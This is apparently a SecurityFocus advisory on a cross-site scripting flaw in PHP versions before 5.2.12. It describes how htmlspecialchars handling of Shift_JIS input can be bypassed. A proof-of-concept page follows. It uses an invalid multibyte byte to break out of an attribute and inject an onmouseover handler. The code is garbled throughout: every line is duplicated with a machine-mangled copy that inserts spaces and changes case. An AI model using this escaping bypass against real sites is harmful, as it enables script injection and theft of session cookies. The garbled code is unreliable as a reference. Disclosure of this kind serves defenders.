source: https://www.securityfocus.com/bid/37389/info
PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
NOTE: In some configurations, attackers may exploit this issue to carry out HTML-injection attacks.
Versions prior to PHP 5.2.12 are vulnerable.
<? php
$ _GET [ ' a1 ' ] = " \xf0 "; // \xf0 - \xfc で可能 $ _GET [ 'A1'] = "\ xf0"; / / \ xf0 - \ xfc possible
$ _GET [ ' a2 ' ] = " href=dummy onmouseover=alert(document.title) dummy=dummy "; $ _GET [ 'A2'] = "href = dummy onmouseover = alert (document.title) dummy = dummy";
header ( " Content-Type:text/html; charset=Shift_JIS " ) ; header ( "Content-Type: text / html; charset = Shift_JIS");
?> ? "
< html > <Html>
< head >< title > Shift_JIS test </ title ></ head > <Head> <title> Shift_JIS test </ title> </ head>
< body > <Body>
< p >< a <P> <a title = " <?php echo htmlspecialchars ( $ _GET [ ' a1 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " title = "<? php echo htmlspecialchars ($ _GET [ 'a1'], ENT_QUOTES, 'SJIS')?>" href = " <?php echo htmlspecialchars ( $ _GET [ ' a2 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " > test </ a ></ p > href = "<? php echo htmlspecialchars ($ _GET [ 'a2'], ENT_QUOTES, 'SJIS')?>"> test </ a> </ p>
</ body > </ Body>
</ html > </ Html>